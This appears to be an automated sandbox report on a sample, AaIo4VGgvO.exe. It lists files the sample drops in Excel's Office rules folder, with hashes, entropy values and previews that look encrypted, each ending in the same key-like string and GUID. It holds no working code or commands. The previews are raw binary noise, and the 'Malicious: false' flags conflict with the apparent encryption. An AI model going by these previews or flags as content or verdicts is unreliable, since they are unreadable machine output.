Preview:	<?xml\|.;...eF-`.W.....=u.;.bp..Y../'l.5...(..%.....,._ ....m....C.;.D6`I...Z.'...v....#p.L....""D.c.d.k.O`.5...D:...Bh...pM.z....Hd..Q.].....S..R.w\.N....`..Z,...H..mhf.C.o.rI........P).&....E./......l.....5r.p..s..J...e.^.f...j..iR..#.p.........+.L..."....)L..I...MU.!..8..X.0..Y9..)Y.8..i.U.1A...(P}."0..S.M..Yy...K.G......k......z...2......DZ...2.].ZbERQ.k?..1.......w3.s...j.6."..C.S..W..}h........\DI.}...]M...%.e.)A.9"r..(I...O..'..r..{Q.R............W...E{R.(.F@.......y....9P"C.....@I8.-i.l......=}.D.t...Pn.Y.,..j.&.......r..H3...2..y..:.fC..H..>..$.s.......g6=kHH2..D...l..iQ....%3..5..l..]....\.@...d+R...w..m7.."N.....m....m1.X.....;....nQQ}.....J.....aV..$N..R.?.../.[.s.....K-a.D.....k.).....T... v..X.f.....q..C.F..4.K"8CY....A.......Z...9......u..."Y..V..w.v4..5.\|t....1..V.>...=.h$}mz.J.K...v...u.RCC.Ynnf.....~4..[,...t...y.+.I..O..\"_3V.\...g.1y.....=.Xi..*=0.....B...8v.Q....HL......:"....zO.\|y>..i.%.d5......O.&\|...5n...?.&bc......m.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.759290333832549
Encrypted:	false
SSDEEP:	24:FBEDDK7iPVK5akoeUDydHNqCaL6sv5ULehnAibD:FuDJaagdHNpI2KD
MD5:	2C2FF6304B4FF4F845A24DB44882C9B9
SHA1:	4C7970DDE1FD6C926015FB8155C520696DF8941F
SHA-256:	3AA8FF190A1AC0DF8A4D624655310B3875C6F280F8405F83C1FEC95466082599
SHA-512:	115D83EB41FBDB7DC94FF61695D037E2ECD924B573EF6D9248E07D2E017F1A2FB369E45A06DD0F86D4654EA537BF36E2E0113788A0A5809292D62649725A191B
Malicious:	false
Preview:	<?xml....j...^V.W..z...n....:\....4.........w.sE..:.:`.(..7.0.iQ[..t.E...s-g[..)+u.o.........A... ..e....P....m.4o}..'.#.y .....r..S....].{.zi.....P...X.[.]...\$.b.<K.-...ex.hh....m.E.9.Z.A....;L9@....{a8.U.Y.-..D...%?....o.M.....QC.n@khOI....M..6.. ...HH....2MH....u..].]....A.)..[Z...sRl...To.8X..0...4(n5.q.x...B..........$.. .h.P..r....;...[1....I.N..@.. ....Z...cHD+R..sS4(..;5..#..(..@ha.@...3....M..T....gK..;..M.gO.Z?.:....}..R^.6.r.Nf.\|.F\|g.#.}....4..yp......sL..[@.M.......:..."..#.23..H.i&."\wL.z....8`..@.b.....Q......u.O.....J..PM...p..Ww.Y..@..6X..f...D4...^#`v<8..,_..8.qywKL..h....\|0..R.......B..._...F.oa..+...'Y.......P=.:4.y...Q.9.Z...j..G.k.b.3.v..~...;$.V..7.@.Y?...-...a..;`9D.LN.5.....Q....JX.\|.9..a..IE..D:s.I.2.}..%..V..y7..:....A"..U..e...T.c.s..9...+G....2....u..wV...0...`D.?..WD.r...pM$.g...Ds[.........gp.9.x."-.S.\|..E...B.....-.]...B..{O.....*....\|..d..F.@334P....>pSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.800317837511212
Encrypted:	false
SSDEEP:	24:diwmHSNdIA8HSetW50VITEgrqXeqnu1sT2DbD:dpvIxHxdVITEVjnWjD
MD5:	40ECEB7E3759D30B4B394F258C6B1308
SHA1:	C4935103FD6D4C4E238CDB5AD551942BE4FD04DD
SHA-256:	B7123B01F1C3014444C9383D787B662F7BB634C1752E2FE7A8F4AE1097AADF2B
SHA-512:	1D502C898C12F269BECD5F55C27D23FCC90B3812BB45838A1B51BB766BBE38000CEA26C3A316D6636007AF0FD47D23724F117661AD6A136002073E2F52F6EDFD
Malicious:	false
Preview:	<?xml./...$n...9.,Tu4Dy..8J.L.....aN..1...\..v.d(sF......l.\.....^..R.c.g.%\|C.Y..A`..{..".?.g.N.....O..LvJ._.J.."....5...:..G.....qL?..........@[..q....A\}.U..R2.2...C.Lhe..^8.b.....(5..}...O@\.L..Rp..\...My0....5....7.5H...DY7p.`.YG..=..."_.!.?.TXx...6.e..{..\-..m.a..Hs"u,h.N....,.g...}>.kP.O.....2......5}TH&..V.. ..u4...&.j...?.`..u.w5...b.%..;....>...:.2...2..x4@.....T..S.@j..+.L..F.....nL...........@... .lA..M.U...r.r......0.2.....7i...>...].....+..=.....%.<.....v.)..~y..C.......I......U.]1.n...._.L. .%..`Y..Ng3.. IY....s...up.......ti\k#.#........7....f...b.^.....T..H...`..h.......}...{../2...m.Q...09....LG..`,..%..<.dYF..K..Q7$...K...G...g1....$.].T.#J......s...;..Uss..o4.....c....E.b.8.^.[.k..P..5'.../....x....@...D.V........s.v!....%..W.....~/cv..%...s*....mL.....&H..^Y....-........e/K^<i.J....%..n.B......k.2....gZ.o$..)..\|.u......:.n......T..$.5.l.5.d...Y....H..Ox`.h@..tj..W].H.K=vK..'SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.877521766374722
Encrypted:	false
SSDEEP:	24:d6v+awcmEUrw3BxwAN85EsbLyGNw57jwtHS0ATJmWVpHIv/0aQ+uDcjFM4bD:d6v/B76SGNw5cy0ATJhD0mG5D
MD5:	BED2E0651D243FFC10543534ED5EFFEB
SHA1:	7385CB66A27EBA971ADDF9EA65AE69E3C40CCD01
SHA-256:	E15EDD1BF4738E196BA4BC82A5709DF93410377E5BD3C25DBA36DE0724E136E8
SHA-512:	A40AB101D8E9EE0F2557E188E08D61B42D46B98838F9D69CB44528E9BAE956A0BFBECB2F7036870C29337E5B7096BDCD311D200CC1F1C3E41A9FFAF86814453A
Malicious:	false
Preview:	<?xml...8.&..x....E.......&ou...~.0AH..m...-...K}uL...q.....x.1`....MT<.!.d.Q_..T.6&x".X.........vCa.t`.d..FHXN]...mli.NO~[.9.V.......@A...F......yDp.r.......e.....H.N..tu.`hk..8z......]<1.oy.w%....L..w...W;.S..b...L...2ly<.F..0.1...^...R.(..b.S..I.b..Ax....@.....;.l....TB..N...v.d........M.e..'...82.r.....i.'..'.@@.......c.."...b..x+...)Fqc5.......S?.....9..e........rE.l!.#...].-m..Tq.....)fv.<@Y^S7xZ.ao...4$.=.......... 'Je.O.kg.k.f...F .e...woy..[..5}...._.>..A\|.\.4.6C~...}..).........9.._^ .gY.=L(...8\.3.=...@.p.V..Q?=T.../x..f.ey.8..F.1...1"2..r........x/U...-x...v.s....X....G..]NJ..z....c.$...?.n.j7}V..q.m..:.yVk_..[....y.1...Q.6x....2.U.......s...^..6EQ.D.....@p.....9p..u..%.^.\|k.bL..u.v{.1..=...'3v\B.tB..R=..........<.c{..w!..t.0..-w.)Y..."R.b.....N...;.S.V._.y.o.l.P.V..;e....a...h.O...Mni..3.l...4.(..{.@'U._....q....T........w(..W.F...8...Q...$.GH......mD..2o..i..].I..^...F......._...i..i..$....$............1....Y.....J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.792973599064512
Encrypted:	false
SSDEEP:	24:tO3SXXDe7jWhMymeQjelDlvtkCyex1NT7CbD:Ukq7jWUeQ4Dlv3dTQD
MD5:	BFA32AA71DB926668FDE68ECF8E48905
SHA1:	FD8BBE0F2A08493E13B67B4B7B784729EF49E2C1
SHA-256:	CE7AC53CAD252A13D480422966FEEE62664E83BA14A076BFDAA71963D1829F93
SHA-512:	A4757182A54A3B3938390BA7216C0C5570324D0CBC8FEE3B138D2F7DB5EB3BAC8AF7333DD0B1C1EC6C63D951552BB87EB7CA7D0F2BA30D3CEC91566E639D0158
Malicious:	false
Preview:	<?xml.T.6...l.-\.%.......o i..:....B%}.#....S........5%..../%..../..3.2sDu .5..d..6.?..uG..g....wRZ-.y...Ki.N/.(...r..J..-.t.Wf.....3qo.r.s...b.k/..k`......j....O.w....>...p>.%.[BKW..+].oX...Dc.ea:.....[C\|T...3.q.l.^.."g..5N.-...tRA..I..P\..B.p..5..1z...Y..[.....b...a.........{K....sz...VK.....H.t,.Vx.qxo.M.K..e....!/~"..py...$J..rr..u..{..M.[.>@....j..a.D....T.+0.K....br..2.n^.d[...N......./..~;U.b..h...&&.....n$.c.>.3..4/t.........0.../.w.zx."%l...x\|g#...W.#c/.77.8..F.\|..T...E.....gp.1.gI].Y.<f.#5.l.?N@r...~l.!...6..........w.F..h.......-..D...h.G....%.S..&)..[VYZr'...z\,g..>Yn"/j.._.S5.d.<...g.n4d..mFb..e....b.?..`....M..5..g.......w2..i~.;MG.==..R..p;A..jBA..ix.....$..kVE.[<..;\|~......7..1S....g"P.J.c.......L/...W.w..\|.q..:../.{'....e.F.......O.=.....G..6g.q......:p.pY\|.U..f\._Qm. ?)...v.w2....y....~`.<.;8S....+Vg 1.F.I+R.+.U>....jl.+..s....G.o.....k..qo^.+P.Q.zHk./..n..R.)...;D.........X..".....vm..{6..N>m..gGSLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.809607567650198
Encrypted:	false
SSDEEP:	24:vs2Oc94S8Opk7n83Zzv6Rs7bHgUOUPOJFuCtVXS90QHbD:E/bapxGWHgpUP0jXPID
MD5:	8B980564ADEF677CB177D087FD689837
SHA1:	93F7909E8E0EE3521E67D8558C15DDFC41795418
SHA-256:	3AC6B3DC925C3B9339BC434D179CE95A30BDD2EBAF56D7E813F7196EC7D57BCD
SHA-512:	FAD0886934A4D39EE9391D1F93F80DAD4A452E6CC9EB3F26E354F3645468412B562205FAE0B2FDA16DF3DDCA871EC3FCA79D4CD6ADEA1229E153D3530E84D544
Malicious:	false
Preview:	<?xml4v...Z.....w~...7.<.^..4..(J..&..X.^.....C......>.PJx...=..m8...!.r.s.&l.;f.)..7 m...F..<....x...v4.U...i..X..9. ^.....n......T<wy..)bq\|c...5.8....[......o.;...v/...!..._...k....j..l..<l.%.s..&.($..L..U........(........O..\..x.%....u..o c...Y.._vJG>.].4.....hs.?.l....2.{3+....[..T.-.......>-`p.`...z.z....?.7....!..+.g_.......0.....S.......,7...4.).D...-.{W.........MS.U.6.s.kB..'3._...#....v...f.b.W.!....9<..xOXn1.d#[..y:e<5.....-.4w....I...;(7....[......Q2`.L<d........x.....".....a.Wp].6.W...Jo....\|.. 8;v.?....F..~.Z......2..l%).\|.......^..~...D......Yw...z.....]^kI.FnB....cAX .2..0...u.Q!'7<G..M.".n~c..k_..Xh.....-.-..I.^<FA[3.p...W.....a........:.....7#1.T2......f4v..;....[]..z3..MY.i.5C O.........`W5y..<.{..I.."..P.P...W.o.%.\.5..mj..6>_i&{@9..r]..;.B.<!...>.........*...4..yP?{DIC)7TU.>LD..!..JEV_.g..A.t.B..s.6..\|.........F....H.q7..E.Z....n...[..d.t..w..b.3u.$.+.rm.......i9j,.O..g..Wv'..HKD.l.`t+.e...V.rk..sUTV....w....{.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.869916958611354
Encrypted:	false
SSDEEP:	48:7pJqAfXZUEqlgMNuf0EAsZzKJVige2U3KIrMEfD:VMKkN6LfZ2LU6I4EL
MD5:	1FB9FBD7F5822A1422DD19C10000A11B
SHA1:	929C2B3B1ABB2C798680FC24C9DF243CBC9A1836
SHA-256:	340AF3FAE05E4990D5B47CE7AAE0713862DDDA010D01A1350C0CE9A98A0C75DC
SHA-512:	807E11D3083AC9F22C15F5890EBCF2DB65179AAE8FCA02EFCE0F7A115A152E6ACCFA7C15185CBD9BC501A55D4E15CC12A0048BC9BF94EDD4378D66DB9D8F03AA
Malicious:	false
Preview:	<?xml.`....V..D.....d.6.=......o@H}.5k.[..g=..'.,8.[)t,.......M...Z".....c.,. -...3..\|.B.p...`I.....6/....].\..O#.69..:...6..o.7..t rMu....PB.Hdf..Q[..,x..H.>.....\|..U...L.\...$/1.L/...a..\|-J.?.9.......-l%.3....W.."p..........5.\p48..LPA\.....O.k......tk.{y.$J......S.{2..zn.,j.(.2G..h..a...l;U_\.X.4i.3..#.GsC..=&..I.Zf..:,9an..o;........Oa...}9.}.E........;..%:.P..G..\h.kH>...bV...Y.M..U.B.G\|F..p9..f6..u.....Z.mI....}"....+B.x%.p.qGJ0.z....k.....U$......#B..\|P..P.9....R`i.......'...D.CV]/.2..N.&.........U....v...wQ.w..<%#`.....{.Y..w..Y....Q.}mk..3...... .i..8..J.G.].......7......z.4...Q... i....\|G...X}i...=..... ..#.!s.c.V..a..-...9.....D.D,.:.....L.."...h.^.Y..b..... ..zZQi..H?O..:..h.#bd"T.p."...T.{..b....j.V.....!=&.-..P..#."..'M.}..F.B..E.+...k.J(S./-....w..r.hd.%..#C.31....<n..g...C.{....@..........?>..\V..n..'Mkf%.<......]..\.<t.....WV...p.;..P.^/.7....c...2..D.h.[J._.3].c.&[. ..@.,...z......#..[...\.?.....K.K.o......N!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.701509036346209
Encrypted:	false
SSDEEP:	12:SyoF40h/X8vWTB/ynXjxuCehCeI21uwRiVA77PIyxYu3D18Mkw+lwQ57tq5riz1H:bYMWTsnzxuhCxUiS70yxYu3Dd+lwQ5hv
MD5:	520374113928E88AE75A465FC57FE75E
SHA1:	2167D5C300CE0FD4F60DE71FCD7A9C2DCBCC011A
SHA-256:	D64A694108E3CA05AB0F91728524DA56EB385ED0F419C688ADDE61FF58E0C166
SHA-512:	0CDFBE6396C7CA7B05FD28FAB06D79FD294F9CDB749C9E2DEC06F57A875EC70DF80D310B978D7512C5A571E7060AA0E4DCD37FABAC953243EE647B843FE43003
Malicious:	false
Preview:	<?xml.....&...3......&.<..l..>.{..^.{.h5...Kb...H$........).QH.q.2.....s.Dm.p.`...0..M....V..F.\...&.l./.!..b.L.l......<.,.o..'.{?xZ.....}...1.V$..m....xe.L.-....~d....F..a.?O2{..R.P....b.qS?I...d}r2.'..K.;.u.c...F.t...H...@..s...j..N..Y.......rc...wt.L4>.v.`....h.. &.Q...$..............Y..r.1...Fj....n...Z;...tj.H.n/..@.".).$.( .......<T...[ %....T........=o1.F/.++.D.&>..._.{n..A..#.~...7-.b..R..W.....mJ.Fw..v.N.....G..?...o.1..1...P.r..(?...t....M.(...s.Ow....LY.#)]e.Sb....P...R.F...L...U.....u....]4......v]....{...#..uI...tnu.H...."...Y7.>I.b.p,..O5...c.j.T..l.......*_......L..o.....@.}...y.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.874908052166651
Encrypted:	false
SSDEEP:	48:vaGyusI1l1BF1NXq+d3yzxPd2/55WMx/D:CYsMBFnXjdyK/bWM9
MD5:	BA57C8971660A46BC35CF4E21799C6BA
SHA1:	02D3DC30F262D4F5D7FA1EC027F08C52A42A3178
SHA-256:	BE89FE434BBEECEFE7E4314B13FE508EDAE52A153F343DF40A7BA07FD18F83C5
SHA-512:	444EF4AE6546744752EEF236869B50C3F07C2CE4156AED3C834A0C81D98457E07824B0C248D72D42528BE7B44CF0A4DB3D67CAD53F76CFC8264CA4DB8BBDBEE6
Malicious:	false
Preview:	<?xml..c...9.!....A...Y.qX.z...........c.7..... P...\|.[0...J.......AY."b.y..:.+..i..f.H#J...H.....[n[..-).KHD...c..b...p..R.....(I..~T.....p....<g.#....ma.....k.c..N.O.nd...O....OV<...`..._.......5B.....h..\.J.\|v..(.#RPn...g........c..u.#..%..'l~!k.$...../.iW.3.Y...h.%b`R.'..AH.5."...o.o..<..\|...Ss...x.#..m.yq$..{C.a0..X....i....=....m/+H.PO...u.\N.S.......5.....:..v.P.c...5..v..7m0.... ....?2..z.....<....[!.5...@............mH......m.#.m=..c..^...,.+A...1..lHI..."3g.%.....4...&w.n.0..q..m.M.+t...u.`>..f@..{.H...h8....WZ./$..7\...?...C{5<.Nu.2i."k.....c.%e.#."...k.H....BM.!.f.a.....S...c..^....j.....h.[.....\=0..^..T.2}Y..L..4v[W:@..=3..~...E2&..L.$..u.g./.o.K.wMI.W#..=..GY.../......5._q5......w+.3.R@.ooB.w...r...;.E...:.V.v+;t.b.........PF..g..x..-Cs:y....x.[.v.....=#. g3.L.df...(...i....)^.k..I5.n7....}.(6.l1...m.l..~..!l...$..V.Bs..b.W.lL..l.......M.:.+..V.p~RK.0...W+.....]...e..8*......\|..qG.h!.m..g-.....!W`E...}.......%...2~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.893054959921879
Encrypted:	false
SSDEEP:	48:l+wRyjKyp9xMOu5VuIoKLQl0gMIn9RkHVFzUmWiWIGfegUvVQXD:AwMjKypXruSbGylMI9R4+iODUdQT
MD5:	27C62BE92730EBD8A6D6637929728D70
SHA1:	4B3BDE34C01DBD8475D046D32817E1453A582EB4
SHA-256:	73B20ED16998A885AC5B645496F30AF2984E9C1816D6863D50E90F3C49BBD101
SHA-512:	163E0F976C6EA7E9D2C0D89419D0E4F36C84D247676CFA770EF1CFDC773DB05F0C91357E89B8D83CC29DE9F89952D8B10C167891A98EF8D63FF0F29CEAEC1F72
Malicious:	false
Preview:	<?xmlOG....Tj`..'".&...S?@...=....#..P.._...8.U...o..E..`.w5x.X.9..E...4.....e...R.>,.p..{.........U....d...\|.I\....b.k.-..Fy..(...8...I"..I..Ro.....3...a.y.R...q.n.<./...X..?s.....m`"E..;.......'....`Q7'...{\^.q@....YC.7$NB..zD..H1.T..%9......._.ox2)).2../\.N.nYS.``"K.......j55Y.).\|.J...eD<.E".J........x.+...q...~@w...kr...4}..z.....:..C...n.h0f..A\|.}.`b.\|7.)..^q.=..@a....WD.w.8.\|V.Yje..v/J...wW.O.S.G..........'..6.1...i.)\|.l)-...X..>.J..(... *.?....q. ..FcS.hq+Y....j0..;..+"G..o....j4...$.a.U.IK...b.......d..n...4...;."{.=..li_J...B....D...`.0-.}....F....t.m.i......?~....6C=........-[..~...B..\|.v.\..m.<2..8.."...L.u..........S..P....Zg./SE.0...^..J...NbA^8e.,S....=a..1.k....L.D3...y...k....pn.n..:.\|]...h.A.o.~.%".hM.<\|.M..}V..M.q........~.V.@. ..uu.BX.9..$./...;.........[_bF...K.....c.28%....1K .nX)..z.[o..z......(..W..=......m...........(.Mw[..;.........w.%..Ezpwz1..D...c.....=.$.,>R...g..]......><].3.HL...@E.w+.E8.6.2..a}.n...72..Nb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.881239127639806
Encrypted:	false
SSDEEP:	48:jSRWrZKFG4RtN9Q6gxzZsaou1U6USDtIcy1AluCD:jSROZo1t0x51xUSDCcy1AluK
MD5:	047EC5396A3E255955943D26D920CC18
SHA1:	E6D8948882770FCD3CCA2EE4802685D56A53C537
SHA-256:	478D56B91D3C30D94932A39FBDE3C92F2239AA5FDF905DF629EC6E3F55C429A7
SHA-512:	E4AD4143D7580886339FF7A0993B81B35847F448A39A5BFAFC0CA6D41E8FDF6EE35EEF21D8E6A9D530D9B9BF7277707E711F764DDD63952924A5EAD0170DACAC
Malicious:	false
Preview:	<?xml..1..F4....;.!I.TE..".,..8y..g.U...D..$..<p7..P.....uR<.U...Y{.N[..a..(..>.O...\...-l.;....~.>n:.P.4VA8...1..s./5.TV.#\..f../@I[~OEl.b..k.r.....Y..........X..4..F.W\L....p....1..GF?`..M..o.(.&.\|X.....q..;#l.....Z.m.._R.TR..V.duw..."..~.#....../.7..?..fLy.4.W.W".n../.m....R..8....Y....o..<......:....v..BY.,...AJ..M..a.a.....""Cn.....l...oO1.:OJ'8&.l...N........b=.=.y....fC.i.....{.T-.>\|...G..3L...cD..M>h.8........M.l..V.o.....HHFt.............@c..~(..E....]-.t..d8L\|S.....z0vm....Q..j.v..hc..,q.d% .d.....@~.0..;U..%...sj.!.&...@...a.0O.IQ........$l@qb..6Y..N..Ht\."...r>..k3Zw..GS......O....@W..#fB.Y......:.m..!.I. 9.....U,....G;...P<.....v.........(..S...%.....{q."f..Z.2.?/F/..V..<.j}tiW$,-.f..+....w.P.0Y.VZ..C.....1Nx.'%..b..E.!@.x...d3.._....w.29+s\|Je>.../C.\|(...k1H.ez.=.(...q..?.y..i....`....H....0(.....'......=.&...#V.. .c.@M(.1.D6...=.....2/...;....W...........+KU..\...B......I..,..IT...-Zn..I<].(l...%1..:L....^.@....AS[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.776729274573366
Encrypted:	false
SSDEEP:	24:ToDZjLo/8zi+WjTRxCMkcnx1ltWowth8t+DGbD:8sgORxzx1YTYAUD
MD5:	064E6FA6A961B44252D1BDF6E7F5ABDF
SHA1:	0A2D14B19E6FFE0B3CB1E6011250CAA533E52C4D
SHA-256:	C83DBBD0356CB0FEAB13CBC369C5C3D3BB7442123C5F6A896D392758C4F8B862
SHA-512:	A9A07AF2E95CBA43BB9A8A6468C902E1412E581341B6B73B5ED9367E0E0A948C27B2F3B698595DAB9FED5A0D816AD1AFD9F83207438C7F98A706ADAA68A93FEE
Malicious:	false
Preview:	<?xml .....CzP..^fxa.@..E..>...V.y,....#..Z"...J.J5...e.9..^d....l./....g..\~l...22......\..S.n...~.....]..$I..>.C....l}...,....E.;R.....\|...2NP[...rU.W.G.vC..C.......\..{..........h.6...U..P`.&B ..%.j....K...`H.4Ed.&...$.+..a..#.0.>..N.....\<,i= S...%.42.T..u_.Lt.w9...30."y_.`2......~;c..6..W^.(..."..x2_.U...1:^M.(q..fW._..B".)c%.;~... ..Hy..r..;.(JS...K.....D5.$x.'...1....?...o............xf9._[0W..O...\..!d.T.....Z.L..2..1^....`.......uG1....oc..s..i..h.k+[..`.C.A..)..i-....E.$.9.8M.Q.Os...Tu.Wg.....W.p..)....N...R./m.......&....W.(c..Z.!...BV..Q....x...E........\x..0f.E....r.a.CD.i..U....\|......Civ.H..T.../.&..L..A....:W5).......L..1u....Z^:.7..G...R...?.3fR.{-.N.z...<.j\|.L S..L6v.....e!.h...NJ..j...4..m..Y.e..\...:....%..;v.%..r..........q$U..;_.k.yQ.5../...r.<..CO..f.?.4.....aoQkI_...g....+y.l.\SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.773618516716001
Encrypted:	false
SSDEEP:	24:1s28lZWxfkEbRV2MdfACOnYUxNVVToVQLoOdKmxbD:S28+fRRwJNzToVQLoahD
MD5:	73D0E4BC93568CE06523482C9503D7E2
SHA1:	5A6E5B129DEF7360328D024AD7A3730F66664F7C
SHA-256:	82B0B2F71540839040B6247A8AE79B09D0263020F8A97FBDC510385BC4F0B909
SHA-512:	26E783F167216ADDC2DD5439EA9BA12A3DB11168322D4CFAA5C022C25A746362F6387FEDA788BE02BCC8605EB91EECBB5F520B33EE8DE0CC09996E1E19D103DF
Malicious:	false
Preview:	<?xmlhy..j......X.}....~...}.4Nb..#....V8..k"..{6r7Ub......Jg..9].r...g:..z....7......k..X...<..gD..M.O........vD..i....y...]......\...S.`.'.Z..J.3....s.V.KI.@CI...\.m...........6.C....S.(.L.oP.E.a..,G7.L..S..~..w.......5....Jz.z.A.........G..#./n...1U.?.g-..ZO....q......1.~Cm..j..&...6.^......F..t;.3f6...._L5.BC...\|..wcp..8...../....hJ.{c......O.Y...#...'.k..:..^A......2...m...4....p1.t6.)2...d.h.P..(..G...<...uk#6.RX.r.s.x.^..!upy.~..Qi..V.....Q..k.`!1G' .]...mkYD...$.r~..oD..?^..l.\|..8..u@..EA....L...0......nD..x6..z....({3r...+.T....?.,^+I..U?.#{..h@sz.....~.x<22....R..!b...H.4..Zd.-.Up..#..d.5.._..'....q..Z....F....K......].4.%X.....l....XOSsb...>..fk@.v.... .xNb.L.Rb.....>.hQ8Mz...vp.8.....S....Q..w...0...M.0....3...@.1.eCqp.\|;..:aJp>......~W.........>.P.mw....1.\#."r.....r..fv_._.....\|.4nb..........1.....".&l...2)j..fx.;Rt..>..D7F...nSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.9025334106158
Encrypted:	false
SSDEEP:	48:fvl0nV//O0+Pzmi2w9h5Jc9/BmZFprzSqOe9IWF2Ghz2i7V+54m9HnAsD:XUVnOn7L2AvJ2OFprWTYw3i7V+54mH9
MD5:	1C8D22C29830FB3800D3992528039D61
SHA1:	4E57C30183885E56BF353D11B6F0E87BB5F0142B
SHA-256:	E9EBCF93166D8C2909C253C19CBBF7E703CB7A8E7FAAEDAD50715AB3027ED429
SHA-512:	61C49B96F92810C4F6BB7D8A154DA6626DE3C36B4401E1F5D75BF81867BADF453128C72E360D9E8FF3F4CCE8011E36B7098E447E3E810CA2745A67FD3747C172
Malicious:	false
Preview:	<?xml2.............Oz...=...Ry.....=.L7..4....H..3.a....q..%H.. ..@.gInZqO...s@.....u..&4P.....bCs9G5..q..G&..I^>9..i.-..?...=....\|O.....y%K.w...v..........W.'..t......:}l..>..o..........%>.>..\..=.55Lc....IFIr..$..u.....{..g.....FF..A.$g.u....7.#m[c.......9..7)...2F..C'.....E..0..:.'..\...@...9.wC..#..............}{...6U-..E'....o..Q.....]s..{..\|.....{.KLwP."..;M..+......../.d.....>K.v...6..Q.G.....a\.j.'......$O.9...E....aj...!..i.@.M.....B..Z.'3;.K.U.k......I=a1....%BE.Q...:....@....e.)..w.....yF........=n..4{........ji..W.~`u.....J..D.n.d..nH<.s.{.$>...q.r..}.Y.yaa.q.>..C.?...T&........0...}Y(....$YY.$f..$...$.vH(.....".F.....I.}...-8.....^.)..2..F.bZ.da".@... .vT:3..3.<......v..L....{..#..f>....L..?...7......?....P.M.^%.H..8I..8.b..!=......&..\|LyK....-.-..........'o..y.......#....9H.W{..'v.....%.#iV.yQI.P..q.3.k.>X.F..%.....9..`..M../QKL8`..a5.....(...@...i........n.z...+........_..^.E8..T{.ZhKb@..<....~..n.....Y.=tKG...d..".Vv..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.8845928426445795
Encrypted:	false
SSDEEP:	24:IUOFdyk8diJ75ZGK5W4t6KZBYts/HSgiXpfbEbT0050n9iNF+Hd103BeObD:Nklr9DEXpfbE3n60N5xesD
MD5:	F14478089F3271D624C22C4C7B616E1E
SHA1:	56ACADF2E6E35DD9EF9EADA446FEBE88127AD95D
SHA-256:	80CC5A37459E0EBA825F41EE0340653FDCC5E84AE416B8A30FCD15FBA74FD8BC
SHA-512:	6FDDD6CB8B60ACD80C94BD93A7B563D5A823C1BBBEBED87A82382525525DFA314B107E635646930F66BEDE0EB488B54B9400AF9DC53697C6B4DC0262FD81CFDD
Malicious:	false
